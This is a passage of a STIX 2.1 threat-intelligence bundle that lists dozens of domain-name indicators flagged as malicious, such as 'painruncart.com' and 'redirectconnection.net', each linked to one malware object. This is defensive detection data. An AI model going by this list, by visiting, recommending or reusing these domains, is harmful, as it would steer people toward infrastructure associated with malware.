"2024-01-26T21:28:21.488177Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='methodslocal.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.488177Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b36294c6-7222-44ae-90ca-a4d748878fc2", "created": "2024-01-26T21:28:21.488561Z", "modified": "2024-01-26T21:28:21.488561Z", "relationship_type": "indicates", "source_ref": "indicator--fd2d8836-81a6-4074-8906-edb920085fbe", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--30398e48-3448-4fa3-a67b-84e3938103e9", "created": "2024-01-26T21:28:21.488656Z", "modified": "2024-01-26T21:28:21.488656Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='globalnews247.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.488656Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2b28a37e-682d-4344-97d4-f67bf45d9d66", "created": "2024-01-26T21:28:21.489047Z", "modified": "2024-01-26T21:28:21.489047Z", "relationship_type": "indicates", "source_ref": "indicator--30398e48-3448-4fa3-a67b-84e3938103e9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7a46736e-bcfd-418f-b90c-38cad7f1e876", "created": "2024-01-26T21:28:21.489147Z", "modified": "2024-01-26T21:28:21.489147Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='painruncart.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.489147Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--01cb0a72-c8be-4021-bd08-8acfe338d897", "created": "2024-01-26T21:28:21.489533Z", "modified": "2024-01-26T21:28:21.489533Z", "relationship_type": "indicates", "source_ref": "indicator--7a46736e-bcfd-418f-b90c-38cad7f1e876", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c46ae0b2-672f-433f-8ee2-adaadfa45a25", "created": "2024-01-26T21:28:21.489628Z", "modified": "2024-01-26T21:28:21.489628Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='allbeautifularts.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.489628Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7407b28e-f863-4240-bc98-c5664700fa14", "created": "2024-01-26T21:28:21.490094Z", "modified": "2024-01-26T21:28:21.490094Z", "relationship_type": "indicates", "source_ref": "indicator--c46ae0b2-672f-433f-8ee2-adaadfa45a25", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--045bbdc2-325d-4cd0-8eb5-8f1ddccbdea5", "created": "2024-01-26T21:28:21.490194Z", "modified": "2024-01-26T21:28:21.490194Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='daily-sport.news']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.490194Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--431a5953-91bd-43d7-ac2b-31c4c43d6f40", "created": "2024-01-26T21:28:21.490585Z", "modified": "2024-01-26T21:28:21.490585Z", "relationship_type": "indicates", "source_ref": "indicator--045bbdc2-325d-4cd0-8eb5-8f1ddccbdea5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9e0cda85-e593-4547-b4ab-dd53fcab52be", "created": "2024-01-26T21:28:21.490681Z", "modified": "2024-01-26T21:28:21.490681Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mystulchik.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.490681Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--154a9790-909c-4d62-8b15-2844c31d04ad", "created": "2024-01-26T21:28:21.491067Z", "modified": "2024-01-26T21:28:21.491067Z", "relationship_type": "indicates", "source_ref": "indicator--9e0cda85-e593-4547-b4ab-dd53fcab52be", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9d1dbecd-4355-4312-9f60-789696ed7911", "created": "2024-01-26T21:28:21.491163Z", "modified": "2024-01-26T21:28:21.491163Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='presidentialagent.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.491163Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--de95c815-799b-4706-9b02-0f71ee71c68d", "created": "2024-01-26T21:28:21.491558Z", "modified": "2024-01-26T21:28:21.491558Z", "relationship_type": "indicates", "source_ref": "indicator--9d1dbecd-4355-4312-9f60-789696ed7911", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cadc3fda-bbfa-4613-adff-296b49599da0", "created": "2024-01-26T21:28:21.491654Z", "modified": "2024-01-26T21:28:21.491654Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='productsview.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.491654Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--96d73ffa-cb0f-46ea-8f20-d3859f672e66", "created": "2024-01-26T21:28:21.492038Z", "modified": "2024-01-26T21:28:21.492038Z", "relationship_type": "indicates", "source_ref": "indicator--cadc3fda-bbfa-4613-adff-296b49599da0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c19b987e-0d14-48d7-bc5c-46714a3dde31", "created": "2024-01-26T21:28:21.492141Z", "modified": "2024-01-26T21:28:21.492141Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='keyindoors.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.492141Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5bae0327-5f4c-49c5-880c-53a64c4b37db", "created": "2024-01-26T21:28:21.492536Z", "modified": "2024-01-26T21:28:21.492536Z", "relationship_type": "indicates", "source_ref": "indicator--c19b987e-0d14-48d7-bc5c-46714a3dde31", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fb9d7460-9a9c-4a46-bc03-06656868eb63", "created": "2024-01-26T21:28:21.49263Z", "modified": "2024-01-26T21:28:21.49263Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='flights-report.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.49263Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--767f33fa-720f-4e7d-9593-620fe9d7b379", "created": "2024-01-26T21:28:21.493031Z", "modified": "2024-01-26T21:28:21.493031Z", "relationship_type": "indicates", "source_ref": "indicator--fb9d7460-9a9c-4a46-bc03-06656868eb63", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--197b89ca-c7a4-4de0-a48d-30806aadc401", "created": "2024-01-26T21:28:21.493129Z", "modified": "2024-01-26T21:28:21.493129Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mymensaje-sms.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.493129Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2aaf8354-73b8-4526-9df2-9c735023963d", "created": "2024-01-26T21:28:21.493517Z", "modified": "2024-01-26T21:28:21.493517Z", "relationship_type": "indicates", "source_ref": "indicator--197b89ca-c7a4-4de0-a48d-30806aadc401", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--44a0f2f9-ad74-49fd-8667-f99acfce9356", "created": "2024-01-26T21:28:21.493613Z", "modified": "2024-01-26T21:28:21.493613Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectconnection.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.493613Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--735ca6c5-497b-445c-a517-94728dd63c7e", "created": "2024-01-26T21:28:21.494008Z", "modified": "2024-01-26T21:28:21.494008Z", "relationship_type": "indicates", "source_ref": "indicator--44a0f2f9-ad74-49fd-8667-f99acfce9356", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1038fab1-9e11-4bd0-a234-349308b9a0f7", "created": "2024-01-26T21:28:21.494109Z", "modified": "2024-01-26T21:28:21.494109Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='noextramoney.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.494109Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--81188494-1bdb-4e79-998d-a34d3bae64c2", "created": "2024-01-26T21:28:21.494577Z", "modified": "2024-01-26T21:28:21.494577Z", "relationship_type": "indicates", "source_ref": "indicator--1038fab1-9e11-4bd0-a234-349308b9a0f7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--98f796f5-bb43-48b8-9115-7215c80431b5", "created": "2024-01-26T21:28:21.494675Z", "modified": "2024-01-26T21:28:21.494675Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='indrive.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.494675Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f56b9d48-3bce-4680-b66a-5222390a5069", "created": "2024-01-26T21:28:21.495057Z", "modified": "2024-01-26T21:28:21.495057Z", "relationship_type": "indicates", "source_ref": "indicator--98f796f5-bb43-48b8-9115-7215c80431b5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--df551401-13a4-4419-b181-1f08901fbfdc", "created": "2024-01-26T21:28:21.495153Z", "modified": "2024-01-26T21:28:21.495153Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nation24.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.495153Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--82870938-3227-4339-8cba-203b5e122eec", "created": "2024-01-26T21:28:21.495543Z", "modified": "2024-01-26T21:28:21.495543Z", "relationship_type": "indicates", "source_ref": "indicator--df551401-13a4-4419-b181-1f08901fbfdc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fcd9a068-d376-4d76-aa2e-e04bd13cdecb", "created": "2024-01-26T21:28:21.495637Z", "modified": "2024-01-26T21:28:21.495637Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='feature-publish.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.495637Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--31c9feda-0201-4b00-a143-a2f676bb4b87", "created": "2024-01-26T21:28:21.496021Z", "modified": "2024-01-26T21:28:21.496021Z", "relationship_type": "indicates", "source_ref": "indicator--fcd9a068-d376-4d76-aa2e-e04bd13cdecb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1bd19ddd-17fa-4fbd-952a-7e4af241dc90", "created": "2024-01-26T21:28:21.496116Z", "modified": "2024-01-26T21:28:21.496116Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='social-artist.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.496116Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6e057b46-0e0d-40ea-b71a-1129d01de72f", "created": "2024-01-26T21:28:21.496503Z", "modified": "2024-01-26T21:28:21.496503Z", "relationship_type": "indicates", "source_ref": "indicator--1bd19ddd-17fa-4fbd-952a-7e4af241dc90", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e86f34e8-c750-445a-8dbb-c71ece80b24d", "created": "2024-01-26T21:28:21.4966Z", "modified": "2024-01-26T21:28:21.4966Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='al7eraknews.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.4966Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8b0218b0-6902-45fb-8a09-3bb9fd2c1c78", "created": "2024-01-26T21:28:21.496983Z", "modified": "2024-01-26T21:28:21.496983Z", "relationship_type": "indicates", "source_ref": "indicator--e86f34e8-c750-445a-8dbb-c71ece80b24d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3452bcbd-6652-4578-a81c-ffa920a17b9e", "created": "2024-01-26T21:28:21.497086Z", "modified": "2024-01-26T21:28:21.497086Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pprocessor.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.497086Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--616688b4-7702-497b-99de-c0d85dc8c5b0", "created": "2024-01-26T21:28:21.497474Z", "modified": "2024-01-26T21:28:21.497474Z", "relationship_type": "indicates", "source_ref": "indicator--3452bcbd-6652-4578-a81c-ffa920a17b9e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--62a34a09-1fbe-4410-acdd-cedebe259855", "created": "2024-01-26T21:28:21.497572Z", "modified": "2024-01-26T21:28:21.497572Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='my-privacy.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.497572Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6fa4cb78-2e84-4534-853f-d969855e3510", "created": "2024-01-26T21:28:21.497949Z", "modified": "2024-01-26T21:28:21.497949Z", "relationship_type": "indicates", "source_ref": "indicator--62a34a09-1fbe-4410-acdd-cedebe259855", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--98168201-3d07-4f6a-b5f7-68ca44043f28", "created": "2024-01-26T21:28:21.498044Z", "modified": "2024-01-26T21:28:21.498044Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pride-industry.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.498044Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2ebf64d8-e533-403c-a410-0a9f2cf74b86", "created": "2024-01-26T21:28:21.498436Z", "modified": "2024-01-26T21:28:21.498436Z", "relationship_type": "indicates", "source_ref": "indicator--98168201-3d07-4f6a-b5f7-68ca44043f28", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fe2dc429-874c-422a-93e7-ae3762ebcb4b", "created": "2024-01-26T21:28:21.498533Z", "modified": "2024-01-26T21:28:21.498533Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='operatingnews.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.498533Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1e37194b-73aa-41ed-853f-4a9881781250", "created": "2024-01-26T21:28:21.498998Z", "modified": "2024-01-26T21:28:21.498998Z", "relationship_type": "indicates", "source_ref": "indicator--fe2dc429-874c-422a-93e7-ae3762ebcb4b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--55e9a0ef-a60c-473d-8a0a-98ccc00025f2", "created": "2024-01-26T21:28:21.499097Z", "modified": "2024-01-26T21:28:21.499097Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='1minto-start.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.499097Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--febaa6e9-06bf-47cb-963a-efbf7bc3eed8", "created": "2024-01-26T21:28:21.49949Z", "modified": "2024-01-26T21:28:21.49949Z", "relationship_type": "indicates", "source_ref": "indicator--55e9a0ef-a60c-473d-8a0a-98ccc00025f2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7343020f-b3cf-4bce-8eb2-028cc527c620", "created": "2024-01-26T21:28:21.499587Z", "modified": "2024-01-26T21:28:21.499587Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='objectreduction.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.499587Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d57d0fd0-f666-4baf-9448-a79d7e69fa34", "created": "2024-01-26T21:28:21.499978Z", "modified": "2024-01-26T21:28:21.499978Z", "relationship_type": "indicates", "source_ref": "indicator--7343020f-b3cf-4bce-8eb2-028cc527c620", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cc2fb362-bf51-40c1-8e4f-e5ad5f1f29cf", "created": "2024-01-26T21:28:21.500073Z", "modified": "2024-01-26T21:28:21.500073Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='conditionalcell.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.500073Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--71980875-caf3-418a-aade-6f83c5789230", "created": "2024-01-26T21:28:21.500461Z", "modified": "2024-01-26T21:28:21.500461Z", "relationship_type": "indicates", "source_ref": "indicator--cc2fb362-bf51-40c1-8e4f-e5ad5f1f29cf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7ff26219-7797-44a8-b42c-5ff7ccc7ed3a", "created": "2024-01-26T21:28:21.500563Z", "modified": "2024-01-26T21:28:21.500563Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bubblesweetcake.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.500563Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4acfa0ca-aabe-44f7-9702-7d46c2bae11e", "created": "2024-01-26T21:28:21.500949Z", "modified": "2024-01-26T21:28:21.500949Z", "relationship_type": "indicates", "source_ref": "indicator--7ff26219-7797-44a8-b42c-5ff7ccc7ed3a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d6d734f2-1b2e-4a56-9036-53c3dbf97a28", "created": "2024-01-26T21:28:21.501045Z", "modified": "2024-01-26T21:28:21.501045Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rhymeshey.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.501045Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--be878547-a662-4327-8c2b-dae661720a00", "created": "2024-01-26T21:28:21.50143Z", "modified": "2024-01-26T21:28:21.50143Z", "relationship_type": "indicates", "source_ref": "indicator--d6d734f2-1b2e-4a56-9036-53c3dbf97a28", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2574107b-3ffc-41c2-bc55-e3a043d008f3", "created": "2024-01-26T21:28:21.501524Z", "modified": "2024-01-26T21:28:21.501524Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='leggingsjustforyou.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.501524Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0e203468-514b-4bd7-b113-0447c5427832", "created": "2024-01-26T21:28:21.501916Z", "modified": "2024-01-26T21:28:21.501916Z", "relationship_type": "indicates", "source_ref": "indicator--2574107b-3ffc-41c2-bc55-e3a043d008f3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4c0b4034-c2f3-48ba-888c-394054629b6f", "created": "2024-01-26T21:28:21.502012Z", "modified": "2024-01-26T21:28:21.502012Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='exchangenames.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.502012Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d4ae79bd-f52d-40ad-a1af-9553e9db1060", "created": "2024-01-26T21:28:21.502395Z", "modified": "2024-01-26T21:28:21.502395Z", "relationship_type": "indicates", "source_ref": "indicator--4c0b4034-c2f3-48ba-888c-394054629b6f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bbc32449-c8a6-4e0a-947b-0c00be2fd950", "created": "2024-01-26T21:28:21.502493Z", "modified": "2024-01-26T21:28:21.502493Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='handcraftedformat.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.502493Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0d569197-5728-47c3-8f51-3060cf7481cf", "created": "2024-01-26T21:28:21.502889Z", "modified": "2024-01-26T21:28:21.502889Z", "relationship_type": "indicates", "source_ref": "indicator--bbc32449-c8a6-4e0a-947b-0c00be2fd950", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3c9ad5d4-9833-4a08-9507-ff26cb0b71e0", "created": "2024-01-26T21:28:21.502999Z", "modified": "2024-01-26T21:28:21.502999Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='zednewszm.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.502999Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--36f59aa3-b772-42e3-af1d-797495c7d022", "created": "2024-01-26T21:28:21.503462Z", "modified": "2024-01-26T21:28:21.503462Z", "relationship_type": "indicates", "source_ref": "indicator--3c9ad5d4-9833-4a08-9507-ff26cb0b71e0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6429203d-58ad-4382-828d-ada08f0eb437", "created": "2024-01-26T21:28:21.503558Z", "modified": "2024-01-26T21:28:21.503558Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fallsjuice.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.503558Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6c2a7819-7b47-4f00-a0af-05b2af2c435c", "created": "2024-01-26T21:28:21.503943Z", "modified": "2024-01-26T21:28:21.503943Z", "relationship_type": "indicates", "source_ref": "indicator--6429203d-58ad-4382-828d-ada08f0eb437", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9dca2a00-b52a-4663-b8d5-d2c371a71ddc", "created": "2024-01-26T21:28:21.504045Z", "modified": "2024-01-26T21:28:21.504045Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mygummyjelly.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.504045Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c93a883c-b222-4d9f-8e8d-d0a92fb9b1d4", "created": "2024-01-26T21:28:21.504431Z", "modified": "2024-01-26T21:28:21.504431Z", "relationship_type": "indicates", "source_ref": "indicator--9dca2a00-b52a-4663-b8d5-d2c371a71ddc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c0579b0c-e6e2-4570-bd44-ba1a49addd47", "created": "2024-01-26T21:28:21.504528Z", "modified": "2024-01-26T21:28:21.504528Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='papers2go.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.504528Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--73b75a4c-cc20-4d8c-8dc8-ad456b9006da", "created": "2024-01-26T21:28:21.504907Z", "modified": "2024-01-26T21:28:21.504907Z", "relationship_type": "indicates", "source_ref": "indicator--c0579b0c-e6e2-4570-bd44-ba1a49addd47", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c598c427-8bc0-415d-b33b-2a0ec40253ab", "created": "2024-01-26T21:28:21.505001Z", "modified": "2024-01-26T21:28:21.505001Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-check.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.505001Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1cd613c8-9c97-4903-840e-888a89e590a9", "created": "2024-01-26T21:28:21.505382Z", "modified": "2024-01-26T21:28:21.505382Z", "relationship_type": "indicates", "source_ref": "indicator--c598c427-8bc0-415d-b33b-2a0ec40253ab", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--697cc1d1-8f53-4b76-8708-d5bd30d4ca53", "created": "2024-01-26T21:28:21.505479Z", "modified": "2024-01-26T21:28:21.505479Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='losnegocios.biz']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.505479Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--076c8868-41c7-4046-bb9f-893e5f4d91cf", "created": "2024-01-26T21:28:21.505867Z", "modified": "2024-01-26T21:28:21.505867Z", "relationship_type": "indicates", "source_ref": "indicator--697cc1d1-8f53-4b76-8708-d5bd30d4ca53", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f4eb404a-b7d2-4e65-8c44-d1224d02496c", "created": "2024-01-26T21:28:21.505961Z", "modified": "2024-01-26T21:28:21.505961Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cornclean.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.505961Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--56c6d552-79d6-43f0-b40c-e66e9edc9e9c", "created": "2024-01-26T21:28:21.506342Z", "modified": "2024-01-26T21:28:21.506342Z", "relationship_type": "indicates", "source_ref": "indicator--f4eb404a-b7d2-4e65-8c44-d1224d02496c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0e242d08-0430-41d2-9549-56523a03d625", "created": "2024-01-26T21:28:21.506445Z", "modified": "2024-01-26T21:28:21.506445Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='designednetwork.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.506445Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0ca70fe5-b7d5-4a31-8a4e-07f837017c5f", "created": "2024-01-26T21:28:21.506848Z", "modified": "2024-01-26T21:28:21.506848Z", "relationship_type": "indicates", "source_ref": "indicator--0e242d08-0430-41d2-9549-56523a03d625", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4ccb33d0-5bfd-48d6-a765-938d1f427c4e", "created": "2024-01-26T21:28:21.506947Z", "modified": "2024-01-26T21:28:21.506947Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mobi-up.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.506947Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--36036298-a8fa-421a-9f34-8d3eb03cf2dd", "created": "2024-01-26T21:28:21.507335Z", "modified": "2024-01-26T21:28:21.507335Z", "relationship_type": "indicates", "source_ref": "indicator--4ccb33d0-5bfd-48d6-a765-938d1f427c4e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0a7fbbdc-7076-4f71-8351-df0e88068ada", "created": "2024-01-26T21:28:21.507431Z", "modified": "2024-01-26T21:28:21.507431Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectdoor.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": 